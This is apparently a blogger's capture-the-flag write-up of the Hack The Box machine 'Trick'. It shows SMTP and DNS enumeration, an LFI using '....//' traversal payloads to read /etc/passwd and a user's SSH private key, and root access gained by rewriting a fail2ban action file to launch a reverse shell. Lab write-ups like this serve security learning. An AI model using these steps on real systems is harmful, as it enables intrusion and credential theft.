Introduction
This box taught me a lot. It provided many opportunities to learn how to enumerate services, even if nothing ultimately was gleaned from it. It also taught me that sometimes getting fresh air and resetting is the best thing to do. Sometimes you need to try harder, but that is not always the case. And finally, do not get stuck on using the same tools or wordlists for a specific job. Different tools can give different results, so expand your arsenal. Sometimes you might not get results because of the tool, not because of something you are inherently doing wrong (but honestly, it is mostly because I did something wrong).
Overall, it was a great box. Life has been hectic (in a good way) so that is why this writeup is so delayed in publication from when the box was initially retired.
Initial Recon
Started off with the standard nmap
scan.
┌──(crimson㉿crimson)-[~/HTB/Machines/Trick]
└─$ sudo nmap -sC -sV -oA nmap/initial $tgt
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-22 20:51 CDT
Nmap scan report for 10.129.91.50
Host is up (0.058s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d (RSA)
| 256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA)
|_ 256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519)
25/tcp open smtp?
|_smtp-commands: Couldn't establish connection on port 25
53/tcp open domain ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid:
|_ bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open http nginx 1.14.2
|_http-title: Coming Soon - Start Bootstrap Theme
|_http-server-header: nginx/1.14.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 244.64 seconds
There are quite a few ports open – SSH on 22, SMTP on 25, DNS on 53, and HTTP on 80.
Initial Access
SMTP
What is Simple Mail Transfer Protocol (SMTP)? It is a communication protocol for the transmission of email. Basically a user sends an email to a SMTP server. That email is then forwarded to a POP/IMAP server where the recipient can retrieve the email.
Up until this point I have not had much experience enumerating SMTP. So I took this as an opportunity to learn.
So what can be gleaned from SMTP? After doing research it seems possible to get internal domain names and possibly usernames. Both of which can be useful.
To leak internal domain names I must first connect to the SMTP server with telnet
and specifying port 25. Then draft an email with a sender’s address with MAIL FROM: [sender]
. Some SMTP servers will auto-complete the sender’s address, ultimately leaking the internal name. Unfortunately, this server does not seem to auto-complete.
┌──(crimson㉿crimson)-[~/HTB/Machines/Trick]
└─$ telnet $tgt 25
Trying 10.129.91.50...
Connected to 10.129.91.50.
Escape character is '^]'.
EHLO all
220 debian.localdomain ESMTP Postfix (Debian/GNU)
250-debian.localdomain
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-ENHANCEDSTATUSCODES
250-8BITMIME
250-DSN
250-SMTPUTF8
250 CHUNKING
MAIL FROM: me
250 2.1.0 Ok
What about users? This can be accomplished by asking the SMTP server if a given user exists via RCPT TO:
, VRFY
, or EXPN
. Below you can see I tried to verify the following users. If a user does not exists it tells me. Now I could hand jam usernames or I can let a machine do it.
RCPT TO: me
550 5.1.1 <me>: Recipient address rejected: User unknown in local recipient table
RCPT TO: root
250 2.1.5 Ok
VRFY sshd
252 2.0.0 sshd
VRFY skdjfalskjdf
550 5.1.1 <skdjfalskjdf>: Recipient address rejected: User unknown in local recipient table
Metasploit has a useful scanner to do just that. Provide the host, username file, and wait a bit for the results.
msf6 auxiliary(scanner/smtp/smtp_enum) > options
Module options (auxiliary/scanner/smtp/smtp_enum):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 10.129.91.50 yes The target host(s), see https://github.com/rapid7/metasp
loit-framework/wiki/Using-Metasploit
RPORT 25 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)
UNIXONLY true yes Skip Microsoft bannered servers when testing unix users
USER_FILE /usr/share/metasploit-framework/ yes The file that contains a list of probable users accounts
data/wordlists/unix_users.txt .
msf6 auxiliary(scanner/smtp/smtp_enum) > exploit
[*] 10.129.91.50:25 - 10.129.91.50:25 Banner: 220 debian.localdomain ESMTP Postfix (Debian/GNU)
[+] 10.129.91.50:25 - 10.129.91.50:25 Users found: , _apt, avahi, backup, bin, colord, daemon, dnsmasq, games, geoclue, gnats, hplip, irc, list, lp, mail, man, messagebus, mysql, news, nobody, postfix, postmaster, proxy, pulse, rtkit, saned, speech-dispatcher, sshd, sync, sys, systemd-coredump, systemd-network, systemd-resolve, systemd-timesync, tss, usbmux, uucp, www-data
[*] 10.129.91.50:25 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Unfortunately, that is all the information I was able to get via SMTP – usernames. Hopefully the HTTP application will prove to be more useful.
HTTP & DNS
Before navigating to the HTTP application I like to start Burp Suite in the background. After doing that I navigated to the remote IP. The landing page was simple enough. A text box where a user could input an email to be notified when the website is up and running.
Inputting an email address does not seem to do anything. Reviewing the source code did not reveal anything either. Running gobuster
did not reveal anything. Well, how about DNS?
Since the remote server is running DNS, I decided to use nslookup
to query the remote server’s DNS records. And sure enough trick.htb
is in its records.
┌──(crimson㉿crimson)-[~/HTB/Machines/Trick]
└─$ nslookup
> SERVER 10.129.92.149
Default server: 10.129.92.149
Address: 10.129.92.149#53
> 127.0.0.1
1.0.0.127.in-addr.arpa name = localhost.
> 10.129.92.149
149.92.129.10.in-addr.arpa name = trick.htb.
> exit
Now that I have a domain, I tried to complete a zone transfer to gather any subdomain information. And sure enough there is. After discovering these domains I added them to /etc/hosts
.
┌──(crimson㉿crimson)-[~/HTB/Machines/Trick]
└─$ dig axfr @$tgt trick.htb
; <<>> DiG 9.17.19-3-Debian <<>> axfr @10.129.92.149 trick.htb
; (1 server found)
;; global options: +cmd
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb. 604800 IN NS trick.htb.
trick.htb. 604800 IN A 127.0.0.1
trick.htb. 604800 IN AAAA ::1
preprod-payroll.trick.htb. 604800 IN CNAME trick.htb.
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
;; Query time: 60 msec
;; SERVER: 10.129.92.149#53(10.129.92.149) (TCP)
;; WHEN: Sun Jun 26 00:15:41 CDT 2022
;; XFR size: 6 records (messages 1, bytes 231)
Navigating to trick.htb
seem to be the same thing I saw when navigating to the IP address. But navigating to preprod-payroll.trick.htb
revealed a login page. Trying common usernames and passwords did not work.
Running a gobuster
scan revealed quite a few pages to view. The first page that caught my eye was users.php
.
┌──(crimson㉿crimson)-[~/HTB/Machines/Trick]
└─$ gobuster dir -u http://preprod-payroll.trick.htb/ -w /opt/SecLists/Discovery/Web-Content/raft-small-words.txt -x php
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://preprod-payroll.trick.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/SecLists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2022/06/26 00:28:45 Starting gobuster in directory enumeration mode
===============================================================
/login.php (Status: 200) [Size: 5571]
/index.php (Status: 302) [Size: 9546] [--> login.php]
/ajax.php (Status: 200) [Size: 0]
/home.php (Status: 200) [Size: 486]
/assets (Status: 301) [Size: 185] [--> http://preprod-payroll.trick.htb/assets/]
/database (Status: 301) [Size: 185] [--> http://preprod-payroll.trick.htb/database/]
/users.php (Status: 200) [Size: 2197]
/header.php (Status: 200) [Size: 2548]
/. (Status: 301) [Size: 185] [--> http://preprod-payroll.trick.htb/./]
/employee.php (Status: 200) [Size: 2717]
/navbar.php (Status: 200) [Size: 1382]
/department.php (Status: 200) [Size: 4844]
/db_connect.php (Status: 200) [Size: 0]
/payroll.php (Status: 200) [Size: 3142]
/position.php (Status: 200) [Size: 5549]
/topbar.php (Status: 200) [Size: 585]
/attendance.php (Status: 200) [Size: 4688]
/site_settings.php (Status: 200) [Size: 2273]
===============================================================
2022/06/26 00:36:43 Finished
===============================================================
Navigating to the page reveals an administrator by the name of Enemigosss
. Clicking the text boxes did not produce any sort of action unfortunately.
Viewing the page source revealed another page of interest that gobuster
did not find. It seems as though the page has a id=
parameter.
Given what is contained in user.php
I viewed manage_user.php
and specified id=1
. And sure enough it pulls the information for Enemigosss
, but the password is masked, or is it?
Viewing the page source shows the password in plain text!
With a username and password I logged in. Clicking around the application did not reveal anything to helpful.
Viewing the page source revealed how the tabs on the left are mapped to different pages I saw in the gobuster
scan. It seems as though the page=
parameter in the URL points to a specific PHP file on the webserver without the actual extension. For example, http://preprod-payroll.trick.htb/index.php?page=home
the page parameter points to home.php
.
Now in the gobuster
scan there was site_settings.php
. Given the URL pattern I checked it out by navigating to http://preprod-payroll.trick.htb/index.php?page=site_settings
. And it seems like a way to upload a file. However, after trying for a couple hours I was not able to upload and access a web shell. I just got a spinning circle.
If the page=
parameter can be used to specify a PHP file on the web server to view, can it be used to read any other file on the system? After tinkering around it seems as though it is not vulnerable to a Local File Inclusion (LFI).
With all options exhausted at this point I decided to enumerate for other subdomains. If there is preprod-payroll.trick.
then why not preprod-hr.trick
or preprod-website.trick.htb
?
For this wfuzz
was used to enumerate subdomains. -c
displays the results in color. -w
specifies the wordlist to use for fuzzing. -u
specifies the domain. -H
specifies the subdomain to fuzz. Basically, the words in the word list will be substituted where FUZZ is placed. --hw 475
hides responses that contain 475 words. Running it without --hw
returned a lot of results. The results that contained 475 words were associated with subdomains that did not exist so I excluded those.
┌──(crimson㉿crimson)-[~/HTB/Machines/Trick]
└─$ wfuzz -c -w /opt/SecLists/Discovery/DNS/deepmagic.com-prefixes-top50000.txt -u 'http://trick.htb' -H 'Host:preprod-FUZZ.trick.htb' --hw 475
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://trick.htb/
Total requests: 49928
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000004687: 200 178 L 631 W 9660 Ch "marketing"
000030711: 302 266 L 527 W 9546 Ch "payroll"
Total time: 0
Processed Requests: 49928
Filtered Requests: 49926
Requests/sec.: 0
And sure enough there seems to be another subdomain, preprod-marketing.trick.htb
, so I added it to /etc/hosts
. Navigating around the website revealed the same behavior seen at preprod-payroll.trick.htb
with the page=
parameter in the URL pointing to a specific file on the web server. In this case, page=
is pointing to services.html
.
I utilized wfuzz
to fuzz for a potential LFI. In this case, service.html
was replaced in the URL with FUZZ. Then I used a wordlist filled with various of LFIs and success!
┌──(crimson㉿crimson)-[~/HTB/Machines/Trick]
└─$ wfuzz -c -w /opt/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt -u "http://preprod-marketing.trick.htb/index.php?page=FUZZ" --hw 0
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://preprod-marketing.trick.htb/index.php?page=FUZZ
Total requests: 920
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000329: 200 41 L 68 W 2351 Ch "....//....//....//....//....//....//....//....//..
..//....//....//....//....//....//....//....//..../
/....//....//....//etc/passwd"
000000345: 200 41 L 68 W 2351 Ch "....//....//....//....//etc/passwd"
000000344: 200 41 L 68 W 2351 Ch "....//....//....//....//....//etc/passwd"
000000346: 200 41 L 68 W 2351 Ch "....//....//....//etc/passwd"
000000343: 200 41 L 68 W 2351 Ch "....//....//....//....//....//....//etc/passwd"
Using Burp I was able to view the contents of /etc/passwd
. Looking at the file reveals the user, michael
.
Remembering that port 22 is open I attempted to view michael
‘s private SSH key. So I use the LFI to view /home/michael/.ssh/id_rsa
, copy the private key to my attacking box, change the permissions to 600 with chmod
, and then connect via SSH specifying michael
‘s private key with -i
.
Priv Esc
A good check I like to do before running linPEAS is simply running sudo -l
and id
. This will list commands that can be ran with root
privileges without actually being root
and lists group membership. As michael
I can run /etc/init.d/fail2ban restart
with root
privileges. And michael
is part of the security
group.
A little bit of research shows that it is possible to priv esc with fail2ban
. The particular article I used as guidance can be found here – https://youssef-ichioui.medium.com/abusing-fail2ban-misconfiguration-to-escalate-privileges-on-linux-826ad0cdafb7
.
The idea behind the priv esc is to manipulate configurations so that when fail2ban
is triggered it executes a reverse shell instead of blocking the offending IP.
The configuration file that needs to be modified is found in /etc/fail2ban/action.d
. Luckily members of the security
group have ownership over that directory. But only root
has ownership over the specific config file that must be altered. So I can’t simply delete or alter the config file as it stands.
This presents a little hurdle, but it is still possible to get priv esc with fail2ban
. First I must copy the config file so that I can edit it as michael
. Then I add the reverse shell to the config file. Since michael
is part of the security
group I can move my modified config file to /etc/fail2ban/action.d
and overwrite the current config file.
michael@trick:~$ ls -la /etc/fail2ban/action.d/iptables-multiport.conf
-rw-r--r-- 1 root root 1420 Jun 26 08:54 /etc/fail2ban/action.d/iptables-multiport.conf
michael@trick:~$ cp /etc/fail2ban/action.d/iptables-multiport.conf /tmp
michael@trick:~$ ls -la /tmp/iptables-multiport.conf
-rw-r--r-- 1 michael michael 1420 Jun 26 09:04 /tmp/iptables-multiport.conf
michael@trick:~$ vi /tmp/iptables-multiport.conf
michael@trick:~$ mv /tmp/iptables-multiport.conf /etc/fail2ban/action.d/
mv: replace '/etc/fail2ban/action.d/iptables-multiport.conf', overriding mode 0644 (rw-r--r--)? y
michael@trick:~$ sudo /etc/init.d/fail2ban restart
[ ok ] Restarting fail2ban (via systemctl): fail2ban.service.
After that I can restart the service, setup a listener on my attacking box, purposefully trigger fail2ban
by brute forcing SSH with incorrect passwords via hydra
, and get a shell as root
!